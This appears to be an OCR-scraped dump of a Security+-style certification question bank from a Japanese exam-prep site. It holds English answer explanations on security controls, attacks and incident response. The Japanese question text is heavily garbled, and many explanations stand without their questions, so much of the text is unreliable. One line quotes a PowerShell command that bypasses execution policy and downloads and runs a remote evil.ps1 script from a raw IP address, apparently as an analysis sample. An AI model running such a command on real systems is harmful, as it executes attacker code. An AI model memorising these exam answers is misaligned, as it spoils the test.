FARPICRIEELGEERRIIRDENTTH?

A Rr—3EY T+«


https://www.jpnshiken.com/q/68944-6456401/
https://www.jpnshiken.com/q/68944-6456402/
https://www.jpnshiken.com/q/68944-6456403/
https://www.jpnshiken.com/q/68944-6456404/

B. AT

C.aX b

D.EADMESZ S
Eff:B(QA Y FERKT D)

Availability is the ability of a system or service to be accessible and usable when needed. For a web application that allows individuals to digitally report health emergencies,
availability is the most important consideration during development, because any downtime or delay could have serious consequences for the health and safety of the users.
The web application should be designed to handle high traffic, prevent denial-of-service attacks, and have backup and recovery plans in case of failures.
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Encryption at rest is a strategy that protects data stored on a device, such as a laptop, by converting it into an unreadable format that can only be accessed with a decryption
key or password. Encryption at rest can prevent data loss on stolen laptops by preventing unauthorized access to the data, even if the device is physically compromised.
Encryption at rest can also help comply with data privacy regulations and standards that require data protection. Masking, data classification, and permission restrictions are
other strategies that can help protect data, but they may not be sufficient or applicable for data stored on laptops. Masking is a technique that obscures sensitive data elements,
such as credit card numbers, with random characters or symbols, but it is usually used for data in transit or in use, not at rest. Data classification is a process that assigns labels
to data based on its sensitivity and business impact, but it does not protect the data itself. Permission restrictions are rules that define who can access, modify, or delete data,
but they may not prevent unauthorized access if the laptop is stolen and the security controls are bypassed.
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SPIM (Spam over Internet Messaging) poses a threat to VolP systems by consuming bandwidth, diverting resources, and potentially causing denial of service attacks. The
influx of SPIM messages can degrade the quality of VolP calls, overload servers, and serve as a platform for social engineering attacks, jeopardizing the security of VolP users.
To mitigate these risks, organizations should implement spam filters, intrusion detection systems, and regular software updates while also educating users to recognize and
avoid potential threats associated with SPIM.
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A DNS filter blocks lookups to known bad domains, stopping users from reaching them, and a centralized TLS (HTTPS) inspection proxy lets the organization decrypt/inspect
HTTP/HTTPS traffic for malicious content before re-encrypting it outbound.

B f: 316

B, RO SDEREHCEOIC, A——DEHEZERTILENHYFET , ROV a—23 0056 HEACOEEEZERT HDITRIDELEDEENTT D,

A TEIDHT

B. 77 X% R k

C.TATUTATAET I ERERE

D. #vy FI—VBRABRMI AT L

EfE:A(QAVREHKRT D)

Behavioral analytics tools monitor user actions and detect anomalies that may indicate insider threats, such as unauthorized access or unusual data exfiltration activities. These
tools establish baselines for normal behavior and flag deviations.
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An insider threat involves a person within the organization, such as an employee, who uses their access for malicious purposes, often due to personal grievances or
dissatisfaction.
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The first step in creating an anomaly detection process is building a baseline of normal behavior within the system. This baseline serves as a reference point to identify
deviations or anomalies that could indicate a security incident. By understanding what normal activity looks like, security teams can more effectively detect and respond to
suspicious behavior.
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An on-path attack, also known as a man-in-the-middle (MITM) attack, occurs when an attacker intercepts the communication between two parties (in this case, the user and the
airline's website). Since the user was on a public Wi-Fi network and ignored security warnings, it's possible that the attacker was able to intercept the credit card information
during the transaction, leading to unauthorized charges.
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Cross-site scripting occurs when a web application fails to properly validate or sanitize user input, allowing attackers to inject malicious client-side code into web pages viewed
by other users.

Injecting an HTML tag such as an image element that loads content from a malicious site is a common XSS technique. When the page renders, the browser processes the
injected code, which can execute attacker-controlled scripts or retrieve malicious resources.
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An independent audit provides an unbiased assessment of the organization's controls, verifying that they are properly designed and operating effectively. Such audits often
result in formal reports, such as SOC (Service Organization Control) reports, which are specifically designed to give assurance to stakeholders regarding the effectiveness of
controls.
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Time-of-day restrictions limit access to corporate systems based on predefined schedules. This ensures employees can only access resources during their assigned work
hours.
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An acceptable use policy is a managerial directive that formally defines required behaviors and rules for system use. It directs employees on what is and isn't allowed, making it
a classic example of a directive control.
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Isolation limits exposure by restricting the application's interaction to only necessary services, reducing risk when patching is no longer possible.
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A right-to-audit clause gives an organization the legal ability to inspect and verify a service provider's or vendor's controls, processes, and compliance with contractual
obligations, ensuring transparency and accountability.
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A jump server restricts and controls administrative access to the database system, reducing the attack surface. A host-based firewall limits network connections directly to the
database server, preventing unauthorized access and hardening the system.
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File Integrity Monitoring (FIM) detects any unauthorized modification to system-level files or data, ensuring those files remain unchanged unless properly authorized.
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Password spraying is a type of attack where an attacker tries a small number of commonly used passwords across a large number of accounts. The event logs showing failed
login attempts for many user accounts from the same IP address are indicative of a password spraying attack, where the attacker is attempting to gain access by guessing
common passwords.
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Baseline enforcement ensures consistent performance and security standards across managed services, allowing the provider to scale operations cost-effectively without
sacrificing quality.
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A VPN establishes an encrypted tunnel over untrusted networks, ensuring the executive can securely access corporate internal resources from any location.
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Virtualization allows multiple virtual machines to run on a single physical server by using a hypervisor to separate operating systems and applications. This approach reduces
the need for additional physical hardware while maintaining isolation between workloads. It enables secure and efficient deployment of applications, lowers hardware costs, and
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improves resource utilization within the infrastructure.
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Data masking irreversibly alters sensitive data to hide it, whereas tokenization replaces data with tokens that can be mapped back to the original values through a secure
tokenization system, making it reversible.
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A risk register is a document that records and tracks the risks associated with a project, system, or organization. A risk register typically includes information such as the risk
description, the risk owner, the risk probability, the risk impact, the risk level, the risk response strategy, and the risk status. A risk register can help identify, assess, prioritize,
monitor, and control risks, as well as communicate them to relevant stakeholders. A risk register can also help document the risk tolerance and thresholds of an organization,
which are the acceptable levels of risk exposure and the criteria for escalating or mitigating risks.
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Outdated operating systems are a primary vector for malware and performance issues. Ensuring that all machines are fully patched closes known vulnerabilities that attackers
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exploit - reducing infections and restoring system stability.
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Placing the VolP system in its own VLAN segments it from the rest of the flat network, limiting exposure and reducing the attack surface by restricting access to only necessary
traffic.
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HSM as a Service (HSMaa$S), Hardware security modules (HSMs) are fortified, tamper-resistant hardware components that produce, safeguard, and manage keys for
encrypting and decrypting data and establishing digital signatures and certificates.
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Mean Time Between Failures measures the average time a system operates without failure, which is directly used to estimate operational availability.
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The IT manager is creating a Business Continuity Plan (BCP). A BCP describes how an organization will continue to operate during and after a disaster or global incident. It
ensures that critical business functions remain operational despite adverse conditions, with a focus on minimizing downtime and maintaining essential services.
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To identify the exact command or input used during a SQL injection attack, the application log is the most relevant. It records inputs, errors, and processing activities within the
application layer.
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The highest priority is the vulnerability with the highest severity score on an internet-facing server.
This combination creates the greatest exposure and risk, so it should be patched first.
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A legal hold (also known as a litigation hold) is a notification sent from an organization's legal team to employees instructing them not to delete electronically stored information
(ESI) or discard paper documents that may be relevant to a new or imminent legal case. A legal hold is intended to preserve evidence and prevent spoliation, which is the
intentional or negligent destruction of evidence that could harm a party's case. A legal hold can be triggered by various events, such as a lawsuit, a regulatory investigation, or a
subpoena.

In this scenario, the company's attorneys have requested that the security team initiate a legal hold in response to the lawsuit filed by the customers after the company was
compromised. This means that the security team will most likely be required to retain any communications related to the security breach until further notice. This could include
emails, instant messages, reports, logs, memos, or any other documents that could be relevant to the lawsuit. The security team should also inform the relevant custodians (the
employees who have access to or control over the ESI) of their preservation obligations and monitor their compliance. The security team should also document the legal hold
process and its scope, as well as take steps to protect the ESI from alteration, deletion, or loss.
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PAM software helps manage and secure privileged accounts and access credentials. It allows admins to grant temporary, controlled access to critical systems without sharing
passwords directly. PAM software can track, monitor and log all activities performed by the consultant.
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Dumpster diving is an attack method where attackers search through physical waste, such as discarded documents and printouts, to find sensitive information that has not been
properly disposed of. In the context of printing centers, this could involve attackers retrieving printed documents containing confidential data that were improperly discarded
without shredding or other secure disposal methods. This emphasizes the importance of proper disposal and physical security measures in cyber hygiene practices.
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Procedures provide step-by-step instructions for performing specific tasks, such as configuring, managing, and maintaining network systems.
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A large number of undocumented devices indicates weak asset inventory and possible unauthorized endpoints on the network. These unmanaged devices may lack required
security controls, increasing the risk that sensitive company information could be exposed, accessed, or exfiltrated.
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An insider threat is a security risk that originates from within the organization, such as an employee, contractor, or business partner, who has authorized access to the
organization's data and systems. An insider threat can be malicious, such as stealing, leaking, or sabotaging sensitive data, or unintentional, such as falling victim to phishing or
social engineering. An insider threat can cause significant damage to the organization's reputation, finances, operations, and legal compliance. The user's activity of logging in
remotely after hours and copying large amounts of data to a personal device is an example of a malicious insider threat, as it violates the organization's security policies and
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compromises the confidentiality and integrity of the data.
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NetFlow logs show network traffic patterns, including source, destination, volume, and timing.

Sorting by destination IP helps identify where large outbound transfers were sent, making it the best source for investigating data exfiltration.
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Software deployed by users without formal review or approval is classified as shadow IT, since it operates outside the organization's sanctioned processes and controls.
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OCSP stands for Online Certificate Status Protocol. It is a protocol that allows applications to check the revocation status of a certificate in real-time. It works by sending a query
to an OCSP responder, which is a server that maintains a database of revoked certificates. The OCSP responder returns a response that indicates whether the certificate is
valid, revoked, or unknown.

OCSP is faster and more efficient than downloading and parsing Certificate Revocation Lists (CRLs), which are large files that contain the serial numbers of all revoked
certificates issued by a Certificate Authority (CA).
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An insider threat involves a trusted individual within the organization, such as a systems administrator, misusing their legitimate access to carry out malicious actions, like
overwriting a supervisor's permissions.
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The document described in the question is a Disaster Recovery Plan (DRP). A DRP outlines the process and procedures for restoring critical systems and operations after a
major disruption or outage. It includes the order in which systems should be brought back online to ensure minimal impact on business operations, prioritizing the most critical
systems to recover first.
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The activity described, where a department is not using the company VPN when accessing various company-related services and systems, is an example of Shadow IT.
Shadow IT refers to the use of IT systems, devices, software, applications, and services without explicit IT department approval.

Espionage: Involves spying to gather confidential information, not simply bypassing the VPN.

Data exfiltration: Refers to unauthorized transfer of data, which might involve not using a VPN but is more specific to the act of transferring data out of the organization.
Nation-state attack: Involves attacks sponsored by nation-states, which is not indicated in the scenario.

Shadow IT: Use of unauthorized systems and services, which aligns with bypassing the company VPN.
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Mobile Device Management (MDM) is a security solution that allows organizations to enforce policies on employee-owned or company-issued mobile devices. It can restrict the
installation of unauthorized applications, ensuring that only company-approved apps are used.
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Acceptable use policy outlines the expected behaviors and responsibilities of users when interacting with the organization's systems and software, including what is allowed and
not allowed. It ensures that users are aware of how to securely use organizational resources.
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An application allow list ensures only approved software can be installed or run on corporate endpoints, blocking any unapproved programs that might leak sensitive
information.
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Data Loss Prevention (DLP) monitors and controls the movement of sensitive data, enabling detection of attempts to send protected information, such as a customer list, to
unauthorized destinations.
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A host-based intrusion prevention system actively monitors and blocks malicious behavior on the endpoint (preventive control) while also alerting or logging suspicious events
(detective control).
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A Web Application Firewall (WAF) protects inbound HTTP traffic by monitoring, filtering, and immediately blocking malicious requests targeting web applications.
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A tabletop exercise is a discussion-based activity where stakeholders simulate a security breach scenario to identify gaps in response plans and clarify roles and
responsibilities.
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Social engineering is the practice of manipulating people into performing actions or divulging confidential information, often by impersonating someone else or creating a sense
of urgency or trust. The suspicious caller in this scenario was trying to use social engineering to trick the user into giving away credit card information by pretending to be the
CFO and asking for a payment.

The user recognized this as a potential scam and reported it to the IT help desk. The other topics are not relevant to this situation.
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Typosquatting involves registering domain names that are visually or typographically similar to legitimate sites to trick users into visiting the malicious site, matching the scenario
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described.
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A VPN (Virtual Private Network) is a secure method to provide employees with remote access to a company's network. It encrypts data, protecting it from interception and
ensuring secure communication between the user and the internal network.
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A scan-patch-scan process reduces vulnerabilities by continuously identifying security weaknesses through vulnerability scanning, applying patches or remediation to address
the discovered issues, and then rescanning to verify that the vulnerabilities have been properly resolved. This systematic cycle ensures vulnerabilities are discovered, mitigated,
and validated, making it an effective operational method for reducing overall exposure.
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Business email compromise (BEC) involves the use of a legitimate or spoofed business email account, often from executives, to trick employees into performing unauthorized
actions like transferring funds or revealing sensitive information.
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To prevent the issuance of an MFA bypass code to an attacker posing as an employee, implementing identity proofing would be most effective. Identity proofing involves
verifying the identity of individuals before granting access or providing sensitive information.

Identity proofing: Ensures that the person requesting the MFA bypass is who they claim to be, thereby preventing social engineering attacks where attackers pose as legitimate
employees.

Hardware token MFA: Provides an additional factor for authentication but does not address verifying the requester's identity.

Biometrics: Offers strong authentication based on physical characteristics but is not related to the process of issuing MFA bypass codes.

Least privilege: Limits access rights for users to the bare minimum necessary to perform their work but does not prevent social engineering attacks targeting the service desk.
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A tabletop exercise is a simulated scenario where team members discuss and walk through their planned response to an incident, such as a ransomware attack, and then
assess performance to identify improvements.
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Detective controls are security measures that are designed to identify and monitor any malicious activity or anomalies on a system or network. They can help to discover the
source, scope, and impact of an attack, and provide evidence for further analysis or investigation. Detective controls include log files, security audits, intrusion detection
systems, network monitoring tools, and antivirus software. In this case, the administrator used log files as a detective control to review the ransomware attack on the company's
system. Log files are records of events and activities that occur on a system or network, such as user actions, system errors, network traffic, and security alerts. They can
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provide valuable information for troubleshooting, auditing, and forensics.
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The Annual Loss Expectancy (ALE) is most useful in determining whether the long-term cost to transfer a risk is less than the impact of the risk. ALE is calculated by multiplying
the Single Loss Expectancy (SLE) by the Annualized Rate of Occurrence (ARO), which provides an estimate of the annual expected loss due to a specific risk, making it
valuable for long-term financial planning and risk management decisions.
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Zero Trust architecture is built on the principle of "never trust, always verify," meaning that every request for resource access must be validated - regardless of where it
originates - before any traffic is allowed between systems. This continuous validation requirement distinguishes Zero Trust from other models.
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The activity described in the table, where multiple connection attempts are made on port 445 (used for SMB services), suggests a brute-force attack. The attacker likely used
automated methods to guess credentials, causing multiple failures. Such attempts are a hallmark of brute- force attacks targeting shared resources.
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Segmentation isolates legacy manufacturing systems from the rest of the network, limiting communication paths and reducing the risk that attackers can reach or laterally move
to these vulnerable systems. This containment approach is commonly used when legacy systems cannot support modern security updates.
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A jump server provides a controlled and monitored access point for administrators who need to manage legacy systems. By forcing administrative access through a hardened
intermediary system, the organization can enforce authentication controls, logging, and monitoring while preventing direct access to vulnerable systems.
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The scenario shows MD5 hashed password values. The most likely reason the security administrator is focusing on these values is to protect against pass-the-hash attacks. In
this type of attack, an attacker can use a captured hash to authenticate without needing to know the actual plaintext password. By managing and monitoring these hashes, the
administrator can implement strategies to mitigate this type of threat.
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Badge access and access control vestibule are two of the best ways to ensure only authorized personnel can access a secure facility. Badge access requires the personnel to
present a valid and authenticated badge to a reader or scanner that grants or denies access based on predefined rules and permissions. Access control vestibule is a physical
security measure that consists of a small room or chamber with two doors, one leading to the outside and one leading to the secure area. The personnel must enter the
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vestibule and wait for the first door to close and lock before the second door can be opened. This prevents tailgating or piggybacking by unauthorized individuals.
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The chmod command is used to change file permissions on Unix and Linux systems. If the

/etc/shadow file has permissions beyond the baseline recommendation, the systems administrator should use chmod to modify the file's permissions, ensuring it adheres to the
security baseline and limits access to authorized users only.
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Smishing is phishing delivered via SMS/text messages; the malicious text lured the user to a fake bank site.
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laC stores infrastructure definitions as version-controlled code, so every change is reviewable, auditable, and repeatable. You can spin up identical, securely preconfigured
environments from the same template, eliminating drift and undocumented tweaks that plague traditional, manually built infrastructure. This consistency and traceability are
what make laC the more secure choice.
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Warm Sites

- Not fully equipped, but fundamentals in place

- Can be up and running within a few days

- Cheaper than hot sites but with a slight delay

Cold Sites

- Fewer facilities than warm sites

- May be just an empty building, ready in 1-2 months
- Cost-effective but adds more recovery time
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Compliance attestation via MDM verifies device posture (OS version, policies, certificates) before granting access, ensuring only compliant devices leave the quarantine subnet
and reach corporate resources.
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A false positive is an alert that incorrectly identifies benign activity as malicious. Over time, if an alerting system generates too many false positives, security teams are likely to
ignore these alerts, resulting in "alert fatigue." This increases the risk of missing genuine threats.
True positives and true negatives are accurate and should be acted upon.

False negatives are more dangerous because they fail to identify real threats, but they are not
"ignored" since they do not trigger alerts.

HR: 389

OSOMEBHEMFESINTER, TNICHLT IREMBULGAZELEHALTOIDERDSEENTIHN?
A. R TE DR

B. /\vy FiEH

C. RERY 7 b7 DHIR

D. TV RiRA > MMREE


https://www.jpnshiken.com/q/68944-6456479/
https://www.jpnshiken.com/q/68944-6456480/
https://www.jpnshiken.com/q/68944-6456481/

IEfE: (EfEZRTLET)

B fE: 390

A—HY—F A=+ T DTITAINY TRz 7TEHAATELGVWY I bV 7OREEET A VA F—ILLIZWEEZTUVET,
RDEND  A—F—DHFAEINTWVEWY IR I TEA R R—ILLTH LLMEREZ BRI T HZ L ZHATHTL £ 557
AV

B.VRARYA NRYYTFT42T

C. AR

D. ¥4 FO—FT 4 >¥

EfR: (EffZzRTLET)

Jailbreaking is the process of removing restrictions imposed by the manufacturer on a smartphone, allowing the user to install unauthorized software and features not available
through official app stores. This action typically voids the warranty and can introduce security risks by bypassing built-in protections.
SOU (Statement of Understanding) is not related to modifying devices.

Cross-site scripting is a web-based attack technique, unrelated to smartphone software.

Side loading refers to installing apps from unofficial sources but without necessarily removing built-in restrictions like jailbreaking does.
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Proper data sanitization ensures that sensitive data is securely erased from storage devices, preventing unauthorized access or recovery when the devices are disposed of or
reused.
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Obfuscation masks or scrambles sensitive data elements, allowing realistic but anonymized records to be used for testing without exposing actual customer information.
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Attack surface reduction involves minimizing the number of exploitable points, such as unused servers, open ports, and publicly exposed contact information, that attackers

could target.
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A service-level agreement (SLA) formally defines measurable performance targets - such as

97 % server and network uptime - that the provider commits to meet.
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The penetration tester was able to pivot using the same local user ID and password, indicating that systems were using local authentication rather than a centralized
authentication mechanism.

Implementing centralized authentication (such as Active Directory, LDAP, or RADIUS) with strong password policies would ensure that credentials are managed centrally,
reducing the risk of credential reuse and lateral movement across systems. This approach also enables better monitoring and enforcement of security policies.
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To ensure that all systems requiring the patch are updated, the systems administrator must maintain an accurate asset inventory. This inventory lists all hardware and software
assets within the organization, allowing the administrator to identify which systems are affected by the patch and ensuring that none are missed during the update process.
Network enumeration is used to discover devices on a network but doesn't track software that requires patching.

Data certification and procurement process are unrelated to tracking systems for patching purposes.
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Data sovereignty refers to the principle that data stored in another country remains subject to the originating country's laws. This is a common concern in cloud computing.
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A watering-hole attack is a type of cyberattack that targets groups of users by infecting websites that they commonly visit. The attackers exploit vulnerabilities to deliver a
malicious payload to the organization's network. The attack aims to infect users' computers and gain access to a connected corporate network. The attackers target websites
known to be popular among members of a particular organization or demographic. The attack differs from phishing and spear- phishing attacks, which typically attempt to steal
data or install malware onto users' devices1 In this scenario, the compromised industry blog is the watering hole that the attackers used to spread malware across the
company's network. The attackers likely chose this blog because they knew that the employees of the company were interested in its content and visited it frequently.

The attackers may have injected malicious code into the blog or redirected the visitors to a spoofed website that hosted the malware. The malware then infected the employees
computers and propagated to the network.
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Root cause analysis is the process of identifying the fundamental reason an incident occurred, ensuring that underlying issues are addressed before the incident is closed.
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This example of a script injection attack would be best mitigated by input sanitization. Input sanitization involves cleaning or filtering user inputs to ensure that they do not
contain harmful data, such as malicious scripts. This prevents attackers from executing script-based attacks (e.g., Cross-Site Scripting or XSS).
Nmap command is unrelated to input sanitization, as it is a network scanning tool.

Email phishing attempts require different mitigations, such as user training.

Browser warnings about insecure connections involve encryption protocols, not input validation
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A self-signed certificate is not trusted by browsers because it is not issued by a recognized certificate authority, leading to certificate warnings when users connect over HTTPS.
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This test evaluates the effectiveness of physical security controls by attempting to gain unauthorized access to a secure area through impersonation and social engineering,
rather than exploiting technical systems or configurations.
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Monitoring configuration ensures that any changes to the hardened baseline are detected over time, helping maintain the intended security posture by identifying drift or
unauthorized modifications.
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Opening many common ports increases the number of exposed services that attackers can target. The consultant is addressing attack surface reduction by limiting
unnecessary externally accessible ports.
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Security Orchestration, Automation, and Response (SOAR) systems help organizations automate repetitive security tasks, reduce manual intervention, and improve the
efficiency of security operations. By integrating with various security tools, SOAR can automatically respond to incidents, helping to enhance threat detection while reducing the
manual workload on security analysts.
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The Al tool is a proprietary creation owned by the company under contract, making it intellectual property.
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A warm site is the best option for a business that does not require immediate failover but wants to reduce the workload required for recovery. A warm site has some pre-
installed equipment and data, allowing for quicker recovery than a cold site, but it still requires some setup before becoming fully operational.

* Hot sites provide immediate failover but are more expensive and require constant maintenance.

* Cold sites require significant time and effort to get up and running after an outage.

* Geographically dispersed sites refer to a specific location strategy rather than the readiness of the recovery site.

gﬁ:ﬁ: 413

RATRA MEEENREDEF 2 TAARHZREL -, TRA MEABILUTOEEZET L1,
NERTORZHERLELL:

BILAASDRRAZEHELT:,

-tEX AT A TREINEY—NN—SYIDRT7ERITLES ELE

UTD56 EBATRAMEEEAERL-ARENIREE VT FOBEZFALTLLSDIEENRTIAN?
A. SFERY

B. #1321y

C.avI7F347VR

D. %

EfR:B (a4 FERETB)

The tester evaluated physical security controls such as locks, cameras, and server rack access, which characterizes a physical penetration test.
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A disaster recovery plan (DRP) is a set of policies and procedures that aim to restore the normal operations of an organization in the event of a system failure, natural disaster,
or other emergency.
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The scenario describes an instance where an employee receives a fraudulent invoice from a vendor that is not recognized in the company's vendor management system. This
is a classic example of an invoice scam, where attackers attempt to trick organizations into making payments for fake or non- existent services. These scams often rely on
social engineering tactics to bypass financial controls.
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The logs show an SQL injection attack. The first step is to verify if new accounts have been created, indicating a successful injection.
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Smishing is a type of phishing attack that uses SMS text messages to deceive recipients into taking actions such as revealing sensitive information. The urgency in the text
indicates this vector.
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The log entry shows a database query embedded in the web request, which indicates a likely SQL injection attempt. This activity is associated with the IP address shown for
that request.
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Risk acceptance occurs when an organization acknowledges the existence of a risk but decides not to take action to reduce or eliminate it. The decision is typically based on
factors such as cost, operational impact, or the perceived likelihood and impact of the threat. By knowingly ignoring identified vulnerabilities after a risk assessment, the
organization is choosing to accept the associated risk.
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Swipe cards and biometric scanners are commonly used to control on-premises access due to their reliability and ability to restrict unauthorized entry. Swipe cards provide
physical access control, while biometric scanners ensure identity verification.
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Estimating the recovery time of systems is a task typically included in the Business Impact Analysis (BIA) process. BIA involves identifying the critical functions of a business
and determining the impact of a disruption. This includes estimating how long it will take to recover systems and resume normal operations.

Estimating the recovery time of systems: A key component of BIA, which helps in understanding the time needed to restore systems and services after a disruption.
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Identifying the communication strategy: Typically part of the incident response plan, not BIA.

Evaluating the risk management plan: Part of risk management, not specifically BIA. Establishing the backup and recovery procedures: Important for disaster recovery, not
directly part of BIA.

Developing the incident response plan: Focuses on responding to security incidents, not on the impact analysis.
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A backup strategy that combines weekly full backups with daily incremental backups stored on a NAS (Network Attached Storage) drive is likely to meet an organization's
Recovery Point Objectives (RPOs) and Recovery Time Objectives (RTOs). This approach ensures that recent data is regularly backed up and that recovery can be done
efficiently, without significant data loss or lengthy downtime.
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Passive reconnaissance gathers information without directly interacting with the target systems, such as collecting publicly available data from the internet using automated
tools.
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Connecting an ICS network to an enterprise network increases exposure to external threats, making it more susceptible to exploitation that can disrupt critical industrial
operations.
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EDR agents sit on hosts, continuously collect rich telemetry (processes, connections, file changes), and can capture network indicators from those endpoints. They rapidly
analyze this data locally and ship it to a backend where it's correlated and reported - that's what the CISO wants to speed detection and investigation of compromised systems.
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Mitigation reduces risk by applying alternative controls - such as compensating controls - when patching is not possible, lowering the likelihood or impact of the vulnerability.
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A user provisioning script is an automation technique that uses a predefined set of instructions or commands to create, modify, or delete user accounts and assign appropriate
access or permissions. A user provisioning script can help to streamline account creation by reducing manual errors, ensuring consistency and compliance, and saving time and
resources. The other options are not automation techniques that can streamline account creation:

Guard rail script: This is a script that monitors and enforces the security policies and rules on a system or a network. A guard rail script can help to prevent unauthorized or
malicious actions, such as changing security settings, accessing restricted resources, or installing unwanted software. Ticketing workflow: This is a process that tracks and
manages the requests, issues, or incidents that are reported by users or customers. A ticketing workflow can help to improve the communication, collaboration, and resolution of
problems, but it does not automate the account creation process. Escalation script: This is a script that triggers an alert or a notification when a certain condition or threshold is
met or exceeded. An escalation script can help to inform the relevant parties or authorities of a critical situation, such as a security breach, a performance degradation, or a
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service outage.
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Likelihood represents the probability that a vulnerability will be exploited, indicating how likely it is that a threat event will occur.
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Dual control ensures that no single individual can complete sensitive financial transactions alone, reducing the risk of fraud and error through enforced separation of duties.
Mandatory vacations help detect fraudulent activity by requiring employees to step away from their roles, increasing the likelihood that unauthorized or improper actions are
discovered during their absence.
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Full disk encryption (FDE) secures data at rest by encrypting the entire storage drive, ensuring that data is protected when the system is powered off or if the drive is accessed
without authorization. This approach is commonly used to protect sensitive data stored on devices like laptops, servers, and storage media.
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E-discovery involves identifying, preserving, and collecting electronically stored information to comply with legal requests during investigations.
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Vendor lock-in is a key concern when an organization depends on an external developer for critical software. This can make it difficult to change providers, maintain control over
future development, or migrate the software without significant cost or disruption.
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powershell -exec bypass -Command "IEX (New-Object

Net.WebClient).DownloadString (http://176.30.40.50/evil.ps1)
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Firewall logs record network traffic flows, including outbound connections from a host to external IP addresses, which can confirm whether a connection to the specified IP was
established.
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An intrusion prevention system (IPS) is a security device that monitors network traffic and blocks or modifies malicious packets based on predefined rules or signatures. An IPS
can prevent attacks that exploit known vulnerabilities in older browser versions by detecting and dropping the malicious packets before they reach the target system. An IPS can
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also perform other functions, such as rate limiting, encryption, or redirection.
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Emphasizing password length over complexity is a best practice. The National Institute of Standards and Technology (NIST) recommends a minimum password length of 8
characters, with a preference for longer passphrases, such as 12 characters or more, to increase security and memorability.

Implementing multi-factor authentication (MFA) by requiring a physical item, like a security key or smartphone, adds a robust layer of security. This "something you have" factor
ensures that even if a password is compromised, unauthorized access is still prevented.

Incorporating these elements aligns with current security best practices and strengthens your organization's defense against unauthorized access.
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Privacy legislation - Teaching employees the legal obligations for handling PII (e.g., GDPR, HIPAA) makes them aware that personal use/transfer is prohibited and punishable.
Company compliance - Training on internal policies and acceptable-use rules reinforces exactly what the organization allows or forbids with company data, reducing intentional
misuse.
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Configuring devices to log to an off-site location for possible future reference is best described as log aggregation. Log aggregation involves collecting logs from multiple
sources and storing them in a centralized location, often off-site, to ensure they are preserved and can be analyzed in the future.
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Log aggregation: Centralizes log data from multiple devices, making it easier to analyze and ensuring logs are available for future reference.
DLP (Data Loss Prevention): Focuses on preventing unauthorized data transfer and ensuring data security.

Archiving: Involves storing data for long-term retention, which could be part of log aggregation but is broader in scope.

SCAP (Security Content Automation Protocol): A standard for automating vulnerability management and policy compliance.
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A third-party audit report (such as a SOC 2 or ISO 27001 certification) provides independent validation of the vendor's security controls and assurance of its security posture.
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A tabletop exercise is a simulated scenario that tests the organization's incident response plan and procedures. It involves key stakeholders and decision-makers who discuss
their roles and actions in response to a hypothetical incident. It can help identify gaps, weaknesses, and improvement areas in the incident response process. It can also
enhance communication, coordination, and collaboration among the participants.
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SCAP standardizes how vulnerability and configuration data is formatted and shared, allowing different security tools to interoperate and exchange information consistently
across vendors.
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A web application firewall protects web applications by monitoring and filtering HTTP/HTTPS traffic between users and the web server. It can detect and block malicious inputs
such as injected scripts that are characteristic of cross-site scripting attacks. By inspecting requests and enforcing rules that prevent malicious code from being delivered to the
application, it helps stop XSS attacks before they reach the web server.
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Brute force is a type of attack that tries to guess the password or other credentials of a user account by using a large number of possible combinations. An attacker can use
automated tools or scripts to perform a brute force attack and gain unauthorized access to the account. The domain activity logs show that the user ismith has failed to log in 10
times in a row within a short period of time, which is a strong indicator of a brute force attack. The logs also show that the source IP address of the failed logins is different from
the usual IP address of ismith, which suggests that the attacker is using a different device or location to launch the attack. The security analyst should take immediate action to
block the attacker's IP address, reset ismith's password, and notify ismith of the incident.
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An SPF (Sender Policy Framework) record needs to be updated to include the new email servers, allowing recipient systems to verify the legitimacy of the sending servers and
prevent outgoing emails from being marked as spam.
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802.1X enforces port-based authentication before assigning a device to a VLAN, ensuring only authorized users can join internal networks and preventing guests from
accessing protected segments.
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A tabletop exercise is a discussion-based exercise where stakeholders gather to walk through the roles and responsibilities they would have during a specific situation, such as
a security incident or disaster. This type of exercise is designed to identify gaps in planning and improve coordination among team members without the need for physical
execution.
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An accurate inventory of corporate laptops is essential to ensure that every affected device is identified and included in the patch deployment process. Without a complete asset
inventory, some laptops could be missed and remain vulnerable.
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When calculating risk ratings, the concepts of impact and likelihood are most likely to be considered. Risk assessment typically involves evaluating the potential impact of a

threat (how severe the consequences would be if the threat materialized) and the likelihood of the threat occurring (how probable it is that the threat will occur).
Impact: Measures the severity of the consequences if a particular threat exploits a vulnerability. It considers factors such as financial loss, reputational damage, and operational

disruption.
Likelihood: Measures the probability of a threat exploiting a vulnerability. This can be based on historical data, current threat landscape, and expert judgment.
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Scheduled downtime is a planned period of time when a system or service is unavailable for maintenance, updates, upgrades, or other changes. Scheduled downtime gives
administrators a set period to perform changes to an operational system without disrupting the normal business operations or affecting the availability of the system or service.
Scheduled downtime also allows administrators to inform the users and stakeholders about the expected duration and impact of the changes.
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The protocols RTP (Real-time Transport Protocol), SIP (Session Initiation Protocol), H.323, and SRTP (Secure Real-time Transport Protocol) are commonly used in Voice over
IP (VolP) communications. RTP handles the transport of media streams, SIP manages call setup and control, H.323 is a standard for multimedia communication, and SRTP
provides encryption for RTP. Therefore, the firewall rules for these protocols support VolP.
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Capacity planning ensures that a disaster recovery site, such as a cold site, has sufficient resources like storage and computers. A failure in capacity planning likely led to the
shortfall.
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An "unknown" (black-box) test gives the testers no prior information or coordination with internal teams, mimicking an external attacker and validating defenses without internal
assistance.
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A Trusted Platform Module securely stores cryptographic keys in hardware and performs cryptographic operations, protecting keys from exposure and tampering.
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Locking the compromised account immediately prevents attackers from using the exposed credentials to gain unauthorized access, containing the incident quickly.


https://www.jpnshiken.com/q/68944-6456553/
https://www.jpnshiken.com/q/68944-6456554/
https://www.jpnshiken.com/q/68944-6456555/
https://www.jpnshiken.com/q/68944-6456556/

BE: 464

XAV TABEBELE, T4 vV VT REIZE>TQADI— DR EHRDOBEEICE S L 22T SHOBEMMAGHEZRIELIZVEBZA TS, BEEEFIRDSIBE
NETINEN?

A D49V TREEZRHETAAHEIIOVT IRTOLI—H I L THEHAG FL—Z VT E2RE LGNS #HRAT v 0T Xy OR—VEERT B,

B. fUKRELGA—IWT—FzAZBAL FHAFLEEOLDLOLDRAM UMD A—IILETRTITIAYILET,

C.IRTDA—Y—IV—VRT—YaVIZGEREDRY I h I 7EA VA M—)LL FELGREZHRET ST I—FERELFET,

D. Vx5 IHEZRFOREICR-THMOMBHEZEEEL DNSTAVI VR M EFERALTHRHNOBEDH S A bADT IR E1—H—MNHEET,

IEfE: (EfEZERTLET)

Strengthening email security controls directly addresses phishing threats by filtering and blocking malicious or suspicious emails before they reach users, reducing the likelihood
of credential compromise and fraud.
